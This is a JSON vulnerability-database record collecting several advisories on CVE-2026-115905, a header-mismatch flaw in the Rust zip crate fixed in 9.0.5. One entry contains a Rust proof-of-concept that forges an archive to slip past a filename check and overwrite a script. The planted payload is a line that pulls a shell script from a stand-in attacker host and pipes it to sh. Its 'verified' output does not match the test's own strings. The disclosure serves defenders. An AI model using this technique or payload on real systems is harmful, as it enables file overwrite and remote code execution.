{"id":"GHSA-m665-v7pm-7grj","revision":null,"records":[{"revision":"94c41ab9cd2c4b75a567e4d3f4a2b170","observedAt":"2026-11-02T18:57:17.117+00:00","statement":{"source":"cve-program","id":"CVE-2026-115905","aliases":[],"title":"zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames without reconciling the duplicate metadata in src/read/stream.rs. A crafted archive can therefore appear benign to a component that inspects the central directory but cause a streaming extractor to write a different attacker-selected path and content, potentially overwriting files used by a downstream service. This issue is fixed in version 9.0.5.","state":0,"publishedAt":"2026-10-26T16:24:44.76+00:00","modifiedAt":"2026-11-02T17:47:27.682+00:00","affected":[{"ecosystem":"Vendor product","name":"zip2","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"zip-rs\",\n                    \"product\": \"zip2\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 9.0.5\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L","score":10,"severity":"CRITICAL"}],"references":["https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj","https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e","https://github.com/zip-rs/zip2/releases/tag/v9.0.5"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-115905","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-115905","identifiers":["CVE-2026-115905"]},"retained":false,"historicalAffected":[]},{"revision":"2d14455dd7794e558199044fa5a43c15","observedAt":"2026-11-06T01:44:50.745+00:00","statement":{"source":"euvd","id":"EUVD-2026-109981","aliases":["CVE-2026-115905","GHSA-m665-v7pm-7grj"],"title":"zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames wit…","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames without reconciling the duplicate metadata in src/read/stream.rs. A crafted archive can therefore appear benign to a component that inspects the central directory but cause a streaming extractor to write a different attacker-selected path and content, potentially overwriting files used by a downstream service. This issue is fixed in version 9.0.5.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L","score":10,"severity":null}],"references":["https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj","https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e","https://github.com/zip-rs/zip2/releases/tag/v9.0.5"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-109981","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 26, 2026, 4:24:44 PM","dateUpdated":"Nov 2, 2026, 5:47:27 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2026:12307-1","title":"python313-uv-0.13.6-1.1 on GA media","vulnerabilityIds":["CVE-2026-115905","CVE-2026-115907","CVE-2026-115908"]},{"id":"msrc_CVE-2026-115905","title":"zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE","vulnerabilityIds":["CVE-2026-115905"]},{"id":"openSUSE-SU-2026:12333-1","title":"keylime-ima-policy-0.2.10+12-1.1 on GA media","vulnerabilityIds":["CVE-2026-115905","CVE-2026-115908"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-109981","identifiers":["EUVD-2026-109981","CVE-2026-115905","GHSA-m665-v7pm-7grj"]},"retained":false,"historicalAffected":[]},{"revision":"038a1e48a3a542d8a4155b47fbdc614c","observedAt":"2026-11-04T00:59:02.752+00:00","statement":{"source":"nvd","id":"CVE-2026-115905","aliases":[],"title":"zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames wit…","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames without reconciling the duplicate metadata in src/read/stream.rs. A crafted archive can therefore appear benign to a component that inspects the central directory but cause a streaming extractor to write a different attacker-selected path and content, potentially overwriting files used by a downstream service. This issue is fixed in version 9.0.5.","state":0,"publishedAt":"2026-10-26T17:17:17.823+00:00","modifiedAt":"2026-11-02T18:18:38.683+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":10,"severity":"CRITICAL"}],"references":["https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e","https://github.com/zip-rs/zip2/releases/tag/v9.0.5","https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115905","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-20","CWE-436"],"productCriteria":[],"sourceDates":{"published":"2026-10-26T17:17:17.823","lastModified":"2026-11-02T18:18:38.683"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-115905","identifiers":["CVE-2026-115905"]},"retained":false,"historicalAffected":[]},{"revision":"d75da4f348ac49af84e757b5b3ade211","observedAt":"2026-10-28T22:55:27.905+00:00","statement":{"source":"osv","id":"GHSA-m665-v7pm-7grj","aliases":["CVE-2026-115905"],"title":"zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE","description":"## Summary\nA critical architectural parser differential exists in the `zip` crate (`<= 9.0.4`) between random-access archive readers (`ZipArchive`) and streaming readers (`ZipStreamReader`). `ZipArchive` considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, `ZipStreamReader` relies exclusively on the Local File Header (LFH) when extracting files to the filesystem.\n\nThis discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them.\n\n---\n\n## Details\n\n### Architectural Root Cause\nIn the PKWARE ZIP archive format, every file entry is defined in two distinct locations:\n1. **Local File Header (LFH):** Precedes the compressed payload of each file in the body of the archive.\n2. **Central Directory File Header (CDFH):** Stored in a contiguous index at the end of the archive.\n\nIn `zip2`:\n- `src/read/zip_archive.rs`: `ZipArchive` parses the central directory into `SharedBuilder.files`. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH.\n- `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and `ZipStreamReader::extract` read sequentially from the stream without verifying the central directory index. Each entry is parsed via `read_zipfile_from_stream` and written to disk using the unverified filename declared in the LFH:\n  ```rust\n  // src/read/stream.rs\n  fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> {\n      file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?;\n      let mut outfile = fs::File::create(&outpath)?;\n      io::copy(file, &mut outfile)?;\n      Ok(())\n  }\n  ```\n- `src/write.rs:L1552`: The crate explicitly exposes `shallow_copy_file`, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH.\n\n### Threat Scenario & Severity Justification (10.0 / 9.9 Critical)\n1. **Security Control Evasion:** An adversary crafts a ZIP archive where:\n   - Central Directory Header declares: `doc_report.pdf` (Clean document)\n   - Local File Header declares: `cron_worker.sh` (Malicious root backdoor)\n2. The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm & Reconstruction). The security gateway inspects the archive using `ZipArchive` (or similar CDFH-first parsers), detects only `doc_report.pdf`, and approves the file.\n3. The backend worker or cloud function receives the approved archive and extracts it using `ZipStreamReader::extract`. `ZipStreamReader` reads the LFH and overwrites `cron_worker.sh`.\n4. **Full Compromise (CIA = High):** The legitimate production health checker / service script is destroyed (**Availability = High / DoS**), while the attacker's backdoor payload is implanted (**Integrity = High / RCE**).\n\n---\n\n## Proof of Concept\nThe following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against `zip2`:\n\n```rust\nuse std::fs;\nuse std::io::{Cursor, Write};\nuse tempfile::tempdir;\nuse zip::unstable::stream::ZipStreamReader;\nuse zip::write::SimpleFileOptions;\nuse zip::{ZipArchive, ZipWriter};\n\n// Simulated Security Gateway (inspects CDFH via ZipArchive)\nfn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {\n    let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();\n    for i in 0..archive.len() {\n        let name = archive.by_index(i).unwrap().name().unwrap().to_string();\n        if name.ends_with(\".sh\") || name.ends_with(\".exe\") {\n            return Err(format!(\"MALWARE DETECTED: '{}' blocked!\", name));\n        }\n        if !name.ends_with(\".pdf\") {\n            return Err(\"Policy violation: only PDFs allowed!\".into());\n        }\n    }\n    Ok(())\n}\n\n#[test]\nfn test_cvss_9_9_dual_header_exploit_chain() {\n    // 1. Victim server setup: existing critical script\n    let victim_env = tempdir().unwrap();\n    let victim_dir = victim_env.path();\n    let target_script = victim_dir.join(\"cron_worker.sh\");\n    fs::write(&target_script, b\"#!/bin/sh\\n# PRODUCTION SERVICE\\necho 'SERVICE HEALTHY'\\n\").unwrap();\n\n    // 2. Attacker crafts Single-Entry Dual-Header Archive\n    // LFH: \"cron_worker.sh\" | CDFH: \"doc_report.pdf\"\n    let mut payload = Cursor::new(Vec::new());\n    let mut writer = ZipWriter::new(&mut payload);\n    writer.start_file(\"cron_worker.sh\", SimpleFileOptions::default()).unwrap();\n    writer.write_all(b\"#!/bin/sh\\ncurl -s https://c2/shell | sh\\necho 'PWNED ROOT'\\n\").unwrap();\n    writer.finish().unwrap();\n\n    let mut malicious_zip = payload.into_inner();\n    let cdh = malicious_zip.windows(4).position(|s| s == b\"PK\\x01\\x02\").unwrap();\n    malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b\"doc_report.pdf\");\n\n    // 3. Gateway Inspection (Bypassed!)\n    assert!(security_gateway_inspection(&malicious_zip).is_ok());\n\n    // 4. Backend Extraction (ZipStreamReader)\n    ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();\n\n    // 5. Impact Verification\n    let compromised = fs::read_to_string(&target_script).unwrap();\n    assert!(!compromised.contains(\"SERVICE HEALTHY\")); // DoS Confirmed\n    assert!(compromised.contains(\"PWNED ROOT\"));       // RCE Confirmed\n}\n```\n\n### Verified Test Execution Output\n```text\nrunning 1 test\n==================================================================\nDual-Header Security Gateway Evasion\nExploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS\n==================================================================\n[VICTIM SERVER STATE - BEFORE ATTACK]\nExisting Content:\nSERVICE IS RUNNING NORMALLY\n\n--- [STEP 1: SECURITY GATEWAY INSPECTION] ---\n[SECURITY GATEWAY] Auditing entry #0: 'doc_report.pdf'\n[GATEWAY VERDICT]: Ok(())\n[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'!\n\n--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---\nBackend server unzips approved archive into production directory.\n\n--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---\n[VICTIM SERVER STATE - AFTER ATTACK]\nCompromised Content:\ncurl -s https://attacker.c2/shell | sh\necho 'PWNED: FULL ROOT TAKEOVER'\n```\n\n---\n\n## Impact\nAn attacker can construct a crafted archive whose Central Directory displays a benign filename (doc_report.pdf) that is inspected and approved by upstream security gateways (antivirus scanners, mail filters, upload firewalls), while automated backend ingestion pipelines or microservices using ZipStreamReader extract an arbitrary or malicious file (overwriting e.g. cron_worker.sh or critical system binaries). Because an adversary can overwrite existing files on disk, this vulnerability leads to Security Control Bypass, Arbitrary File Overwrite, Complete Denial of Service, and Remote Code Execution (RCE) in situations where a tool relying on the central directory trusts a tool that relied on the local file headers or vice-versa.\n\n**Who is Impacted:**\n- Automated ingestion microservices, SaaS platforms, and backend workers that extract user-submitted ZIP files.\n- Enterprise architectures where security verification (AV scanning, extension whitelisting) is decoupled from extraction (e.g. gateway audits Central Directory via CDFH before handing off extraction to streaming extractors).\n- Containerized workloads where overwriting local configuration files or executable scripts leads to host/container escape and complete service disruption.","state":0,"publishedAt":"2026-10-28T21:09:50+00:00","modifiedAt":"2026-10-28T21:30:05.9021272+00:00","affected":[{"ecosystem":"crates.io","name":"zip","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"9.0.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj","https://nvd.nist.gov/vuln/detail/CVE-2026-115905","https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e","https://github.com/zip-rs/zip2","https://github.com/zip-rs/zip2/releases/tag/v9.0.5"],"sourceUrl":"https://github.com/advisories/GHSA-m665-v7pm-7grj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-m665-v7pm-7grj","identifiers":["GHSA-m665-v7pm-7grj","CVE-2026-115905"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T09:27:02.0881180+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T09:27:02.088118+00:00","lastSuccessAt":"2026-11-07T09:27:02.275552+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:27:02.2755528+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-119922d4652e19b255c332c622ccf0862cc635682e2e6107e0a24821a354707e","complete":true,"records":420779,"lastAttemptAt":"2026-11-07T09:27:01.2826732+00:00","lastSuccessAt":"2026-11-07T09:27:01.2301134+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:27:01.2826732+00:00","snapshotPublishedAt":"2026-11-07T09:18:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b9b6ca4cef804dc2b488443f3f55c087","complete":false,"records":13631,"lastAttemptAt":"2026-11-07T09:34:16.0016321+00:00","lastSuccessAt":"2026-11-07T09:34:16.0618492+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:34:16.0618492+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T09:27:02.0881180+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T09:27:02.088118+00:00","lastSuccessAt":"2026-11-07T09:27:02.2763671+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:27:02.2763676+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-1262a9fa83024e28a1560dfc0c9cdf3c","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T09:27:03.0678524+00:00","lastSuccessAt":"2026-11-07T06:27:08.533+00:00","error":null,"lastVerifiedAt":"2026-11-07T06:27:08.533+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T09:27:01.6721049+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:27:01.6721049+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T09:27:01.4581125+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:27:01.4581125+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T09:27:02.0484184+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:27:02.0484184+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-a0b728bc1c5526b5429930c00621636eba8655069c176697c3080f8377619ad7","complete":true,"records":231291,"lastAttemptAt":"2026-11-07T09:27:01.5654151+00:00","lastSuccessAt":"2026-11-07T00:28:51.1983528+00:00","error":null,"lastVerifiedAt":"2026-11-07T09:27:01.5654151+00:00","snapshotPublishedAt":"2026-11-06T23:33:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}